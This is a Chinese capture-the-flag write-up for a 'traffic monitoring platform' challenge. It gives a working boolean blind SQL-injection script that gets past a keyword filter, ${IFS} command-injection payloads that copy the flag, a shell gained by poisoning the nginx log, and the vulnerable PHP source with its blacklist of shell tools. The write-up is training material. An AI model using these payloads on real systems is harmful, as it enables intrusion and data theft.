BZMCTF:流量监控平台

http://www.bmzclub.cn/challenges#%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0

在这里插入图片描述
在这里插入图片描述
通过枚举可知存在admin用户,当uname=admin时,发现提示密码错误,当uname!=admin时提示用户名错误。
在这里插入图片描述

在这里插入图片描述
另外存在过滤SQL关键字符
在这里插入图片描述
简单fuzz一下过滤了哪些字符
在这里插入图片描述
首先注释无法使用,可以通过构造字符闭合来绕过
在这里插入图片描述
空格及内联注释也无法使用,可以利用()绕过
在这里插入图片描述
andor&|都被过滤,可以使用同或,虽然mysql只支持notandorxor四种运算符。但是同或的运算逻辑也是可以在mysql中可以用符号!=!表示的。同或的运算逻辑与异或相反

and/&&的逻辑:
1 and 1 == 1
1 and 0 == 0
0 and 1 == 0
0 and 0 == 0or/||的逻辑:
1 or 1 == 1
1 or 0 == 1
0 or 1 == 1
0 or 0 == 0同或!=!的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1异或xor的逻辑:
1 xor 1 == 0
0 xor 1 == 1
1 xor 0 == 1
0 xor 0 == 0

在这里插入图片描述
在这里插入图片描述
这里我们只需要控制中间的表达式值对注入信息的每一位fuzz,进行布尔盲注即可,如下图所示
在这里插入图片描述
当测试注入语句正确时,只返回一条admin的数据,这时候username是正确的,所以返回password错误。当注入测试语句时错误的,则返回username错误,以此作为判断依据。

但是从fuzz的黑名单中已知了,逗号,是被过滤得。得尝试不适用逗号也能截位。
经查阅资料,发现可以使用from x for y的方法来绕过逗号,
在这里插入图片描述
但是有问题的是这里的for也含有or,此类含有or字符的SQL关键字还有information

当mysql版本大于5.6information的绕过就是利用innodb引擎下自带的两张信息表:innodb_index_statsinnodb_table_stats

from x for y没有for一样可以截位,只不过不能一位一位截取罢了
在这里插入图片描述
综上所述即可构造
在这里插入图片描述

uname=admin'!=!(ascii(mid(user()from(-1)))=116)!=!'1&passwd=mochu7

在这里插入图片描述
user()最后一位的ascii码改为不正确时,返回username error
在这里插入图片描述
可以猜测一下user()是不是root@localhost,不过这样就不能用ascii()了,可以用hex()。后面脚本也都是用hex()

uname=admin'!=!(hex(mid(user()from(-14)))='726F6F74406C6F63616C686F7374')!=!'1&passwd=mochu7

在这里插入图片描述
接下来使用Python开始编写盲注脚本

import requests
import string
from binascii import *allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'burp0_url = "http://www.bmzclub.cn:20351/login.php"
burp0_cookies = {"PHPSESSID": "l9tsv3e1umnp0lk9dahkee5l41", "session": "6bc4a005-f112-45e7-a15d-8b323e5b879d"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:20351", "Connection": "close", "Referer": "http://www.bmzclub.cn:20351/", "Upgrade-Insecure-Requests": "1"}hexdata = ''for l in range(1,50):for s in allstr:s = hexlify(bytes(s.encode())).decode().upper()payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)burp0_data = {"uname": payload, "passwd": "mochu7"}resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if 'password error!!@_@' in resp.text:hexdata = s + hexdataprint(unhexlify(hexdata).decode())else:continue

查用户名/当前数据库/版本

payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)payload = "admin'!=!(hex(mid(database()from(-{})))='{}')!=!'1".format(l,s+hexdata)payload = "admin'!=!(hex(mid(version()from(-{})))='{}')!=!'1".format(l,s+hexdata)

注入得到的信息如下:

user():	root@localhostcurrent_database(): ctfversion(): 10.2.26-MariaDB-log

查ctf库中的表名

payload = "admin'!=!(hex(mid((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)='ctf')from(-{})))='{}')!=!'1".format(l,s+hexdata)

查询结果显示当前数据库中只有一张admin

接下来无法通过innodb这两张表查到字段的数据了,因为限制太多,如限制了反引号。不确定能否通过盲注查询出字段数据,这里就不继续查询admin表字段数据了,直接就可以通过POST的参数尝试猜测字段名为unamepasswd

如果这里没有过滤*,那就可以直接select * from ctf.admin;

查字段uname的内容

payload = "admin'!=!((select(hex(mid(group_concat(uname)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

只有一个用户admin

继续查字段passwd的内容

payload = "admin'!=!((select(hex(mid(group_concat(passwd)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

在这里插入图片描述
得到用户admin的密码:e10adc3949ba59abbe56e057f20f883e

应该是md5,拿去cmd5查询一下
在这里插入图片描述
。。。。。。。密码就这???????
上面所有的努力就是一个弱口令登陆的的事情???????

唉,早知道就直接尝试弱口令了。不过没关系。毕竟是CTF,能学到的以前不知道的姿势就行,又不是实战渗透。
实战估计早就吐血了。

得到密码后成功登录
在这里插入图片描述
猜测命令执行,没有回显猜测是exec()执行
在这里插入图片描述
命令执行出错有回显
在这里插入图片描述
测试的时候发现,有过滤
在这里插入图片描述
简单fuzz了下发现过滤了ncbashpythonphpwgetftpsh>以及空格等,命令执行绕过,过滤了这些应该很容易就绕过了吧,姿势网上多的很,这里就不赘述了。

另外经过多次测试后发现这里执行命令对错应该是直接判断exec()的返回值,这样的话显示的命令执行对错就没什么用了,有些正确的命令本身没有输出例如cpmv等。而且有些错误的命令执行会输出报错信息,被exec()作为返回值反而回显命令执行成功。

一开始试了下反弹shell,结果试了很多次没成功,也是迷。干脆就用别的办法了。

第一种方法:利用cp将flag直接复制到web目录下

cp${IFS}/flag${IFS}./flag.html

直接访问/admin/flag.html
在这里插入图片描述
第二种方法:利用burp,将shell写在url后面
在这里插入图片描述
Nginx的服务器,默认日志文件地址/var/log/nginx/access.log或者/var/log/nginx/error.log
利用cp将日志文件复制到web目录,后缀为php

cp${IFS}/var/log/nginx/access.log${IFS}mochu7.ph\p

执行完成后,访问http://www.bmzclub.cn:20351/admin/mochu7.php
在这里插入图片描述
成功拿到shell
在这里插入图片描述
有命令执行,操作空间就很大。还有很多别的方法自己去发掘吧。

最后贴一下源码
login.php

<?phpheader("Content-Type:text/html;charset=utf-8");error_reporting(E_ERROR);define ('PATH_WEB', dirname(__FILE__).'/');require_once(dirname(__FILE__).'/include/conf.php');require_once(dirname(__FILE__).'/include/fiter.php');#var_dump($_SESSION);if($_SESSION['flag'] === 1){header("location:./admin/");exit;}#echo $_POST['uname'].'````'.$_POST['passwd'];if($_POST['uname'] && $_POST['passwd']){$obj = new fiter();$uname = $obj->sql_clean($_POST['uname']);$passwd = md5($_POST['passwd']);$query="SELECT * FROM admin WHERE uname='".$uname."'";$result=mysql_query($query);#var_dump($result);if ($row = mysql_fetch_array($result)){#print_r($row);echo "\n\r<br/>";if ($row['passwd']===$passwd){$_SESSION['flag'] = 1;#echo $_SESSION['flag'];header("location:./admin/");exit();}else{echo "<script> alert('password error!!@_@');parent.location.href='index.php'; </script>"; exit();}}else{echo "<script> alert('username error!!@_@');parent.location.href='index.php'; </script>"; exit();}}else {echo "<script> alert('username and password must have a value!!@_@');parent.location.href='index.php'; </script>"; exit();}
?>

filter.php

<?php
class fiter{var $str;var $order;function sql_clean($str){if(is_array($str)){echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;}$filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";//由于在mysql中认为 %a0 也是空格,所以这里也需要过滤,//在这里做了修改,添加 %a0if(preg_match($filter,$str)){echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;}else if(strrpos($str,urldecode("%00"))){echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;}return $this->str=$str;}function ord_clean($ord){$filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";if (preg_match("/".$filter."/i",$ord) == 1){return $this->order = "";}return $this->order = $ord;}
?>

admin/index.php

<?php
header("Content-Type:text/html;charset=utf-8");
$o = new fiter();
$a = $o->ord_clean($_POST['ord']);
if($a){if(exec($a))echo '命令执行成功!!';else echo "命令执行出错!!";
}else echo "想干啥呢~_~!!"
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/68028.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【合宙4G Cat.1入门教程】--Cat.1 AT指令连接阿里云收发数据 上

使用AT指令&#xff0c;快速连接上云服务器进行数据收发&#xff0c;达到给设备联网的效果 1、阿里云创建设备 1.1 阿里云创建产品 登录阿里云&#xff0c;支付宝账号或淘宝账号即可 阿里云物联网平台地址&#xff1a;https://account.aliyun.com/login/login.htm?oauth_c…

【合宙4G Cat.1入门教程】--Cat.1 AT指令连接阿里云收发数据 下

通过使用AT指令&#xff0c;快速连接上云服务器进行数据收发&#xff0c;达到给设备联网的效果 1、连接阿里云 以下AT指令若有疑问可参考合宙的Luat 4G模块AT命令手册V4.1.6&#xff0c;这里对AT指令不做细致描述 根据【合宙4G Cat.1入门教程】–Cat.1 AT指令连接阿里云收发…

fastadmin腾讯云短信插件提示配置错误解决方法

装了腾讯云短信插件 总是提示配置错误 {"code": 0,"msg": "发送失败&#xff0c;请检查短信配置是否正确","time": "1666078465","data": null }这是由于该插件使用的模板跟我申请的验证码模板参数不一样导致的。…

【T+】T+登录软件提示“账号或者密码不正确,或用户不在云应用开通的企业中”

【问题现象】 手机号登录T提示&#xff1a;“账号或者密码不正确&#xff0c;或用户不在云应用开通的企业中” 【解决方法】 第一步&#xff1a;确认输入的手机号,密码正确&#xff0c;并且该手机号能正常登录畅捷通官网www.chanjet.com&#xff1b; 第二步&#xff1a;检查ea…

虹科分享 | 网络流量监控 | 使用 ntopng 收件人和端点进行灵活的警报处理

在之前&#xff0c;ntopng引擎对所有警报的配置是单一的&#xff1a;进入偏好页面并指定警报的发送地点。但这是不理想的&#xff0c;原因有很多&#xff1a;包括不可能在不同的渠道向不同的收件人发送警报&#xff0c;或有选择地决定何时发送警报。 出于这个原因&#xff0c;…

支持流量计费的云服务器,云服务器流量计费功能

目前西部数码弹性云服务器&#xff0c;已支持按流量计费模式&#xff0c;相关说明如下。 一、开通及选择 1、流量计费适用于平时带宽使用较低但会间歇出现网络访问高峰的场景&#xff0c;若无特殊需求&#xff0c;建议选择按带宽计费&#xff1b; 2、支持按流量计费的线路&…

fastadmin管理员页面实现手机验证码登录功能-腾讯云短信插件

配置信息 安装插件 配置腾讯云短信信息 代码实现 新建页面/application/admin/view/index/phone_login.html(我直接复制登录login.html魔改的) <form method"post" id"login-form" action"{:url(index/phone_login)}"><!--AdminLo…

WhatsApp私域流量营销,蜂巢SCRM助你触达20亿用户

说起WhatsApp&#xff0c;做海外的朋友并不陌生&#xff0c;WhatsApp在 26-35 岁的美国互联网用户中最受欢迎。在 26-35 岁之间的所有美国人中&#xff0c;有 27%使用 WhatsApp。 以下是按年龄组使用 WhatsApp 的美国互联网用户百分比的完整细分&#xff1a; 按最大受众排名的前…

腾讯云轻量应用服务器月流量包用完超额了怎么计费?

腾讯云轻量应用服务器套餐内月流量包是免费的&#xff0c;超出套餐流量为0.8元/GB&#xff0c;轻量服务器地域不同流量费也有所不同&#xff0c;腾讯云百科来详细说下腾讯云轻量应用服务器流量、超出套餐后流量收费以及流量计费说明&#xff1a; 轻量应用服务器流量 腾讯云轻…

如何外网登录管理云通信短信网关平台?——快解析映射方案

云通信&#xff08;Cloud Communications &#xff09;是基于云计算商业模式应用的通信平台服务&#xff0c;简单易用,满足企业一键群发场景,支持多种语言SDK和API 接入。各个通信平台软件都集中在云端&#xff0c;且互通兼容&#xff0c;用户只要登录云通信平台&#xff0c;不…

腾讯云服务器公网流量是如何计算的?出流量还是入流量?

腾讯云服务器公网流量费直接算出流量&#xff0c;云服务器入方向流量是免费的&#xff0c;例如使用公网从云服务器上下载文件到本地产生的流量是收费的&#xff0c;从本地上传文件到云服务器上产生的流量是免费的。腾讯云服务器公网带宽可以按带宽计费&#xff0c;也可以按使用…

AI 工具合辑盘点(四)持续更新

AI 视频生成和编辑工具 当今&#xff0c;视频已经成为最受欢迎的媒介之一。我们喜欢观看视频&#xff0c;但是制作高质量的视频需要耗费大量时间和精力。 无论你是内容创作者、专业视频编辑师&#xff0c;还是完全的新手&#xff0c;按照传统方式制作视频需要掌握各种知识、技…

聚观早报 | 中国大语言模型和GPT-4差距在两三年;美团注册新专利

今日要闻&#xff1a;中国大语言模型和GPT-4差距在两三年&#xff1b;摩尔定律提出者Gordon Moore离世&#xff1b;美团注册外卖配送员头盔新专利&#xff1b;比亚迪汽车宣布联合抵制网络水军&#xff1b;OpenAI就ChatGPT漏洞道歉 中国大语言模型和GPT-4差距在两三年 3 月 25 …

一文盘点令人惊艳AI神器(附项目代码)

‍‍2023可以称得上是脑洞大开的一年&#xff01;人工智能的风口由‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍OpenAI的ChatGPT率先引爆。 今天&#xff0c;我们给大家推荐10款惊艳的AI工具&#xff0c;欢迎补充&#xff01; 一、AI围棋机器人&#xff1a;AlphaGo A…

一文盘点最近特别火的 10 款惊艳的 AI 工具(附项目代码)

‍‍2023可以称得上是脑洞大开的一年&#xff01;人工智能的风口由‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍OpenAI的ChatGPT率先引爆。 今天&#xff0c;我们给大家推荐10款惊艳的AI工具&#xff0c;欢迎补充&#xff01; 文章目录 一、AI围棋机器人&#xff1a…

chatgpt赋能python:Python好玩的包——ExploringtheFunSideofProgramming

Python好玩的包——Exploring the Fun Side of Programming Python是一门富有表达力和功能的编程语言&#xff0c;有着一个庞大而活跃的社区。这个社区中&#xff0c;你可以找到许多好玩和实用的包。这些包可以让你更加轻松愉快地编程&#xff0c;同时也可以帮助你完成许多任务…

如何自己搭建一个个人网站?

个人网站是一个私域流量平台&#xff0c;对比起在社交媒体上宣传自己&#xff0c;个人网站更有助于其他人深入了解你的某一方面特长、经历、或者你想推出的产品或想法&#xff0c;对提升自己的知名度非常有帮助。 以前&#xff0c;搭建个人网站可能需要耗费很大的精力去设计前…

腾讯云服务器配置哪个比价好?轻量和云服务器有什么区别?

腾讯云服务器配置CPU内存如何选择&#xff1f;公网带宽多少M合适&#xff1f;选轻量应用服务器还是云服务器CVM&#xff1f;建网站小程序APP云服务器配置推荐&#xff0c;腾讯云百科来详细腾讯云服务器CPU内存带宽系统盘选择以及轻量应用服务器和云服务器哪个比较好&#xff1a…

用这招监听 Vue 的插槽变化

微信搜索 【大迁世界】, 我会第一时间和你分享前端行业趋势&#xff0c;学习途径等等。 本文 GitHub https://github.com/qq449245884/xiaozhi 已收录&#xff0c;有一线大厂面试完整考点、资料以及我的系列文章。 快来免费体验ChatGpt plus版本的&#xff0c;我们出的钱 体验地…

chatgpt赋能python:Python怎么建网站的SEO

Python怎么建网站的SEO 介绍 Python是一种流行的编程语言&#xff0c;其灵活性和可靠性使其成为了许多网站开发人员的首选语言之一。Python可以用于构建各种类型的网站&#xff0c;包括电子商务和企业级应用程序等。但是&#xff0c;构建一个网站是不够的&#xff0c;您还需要…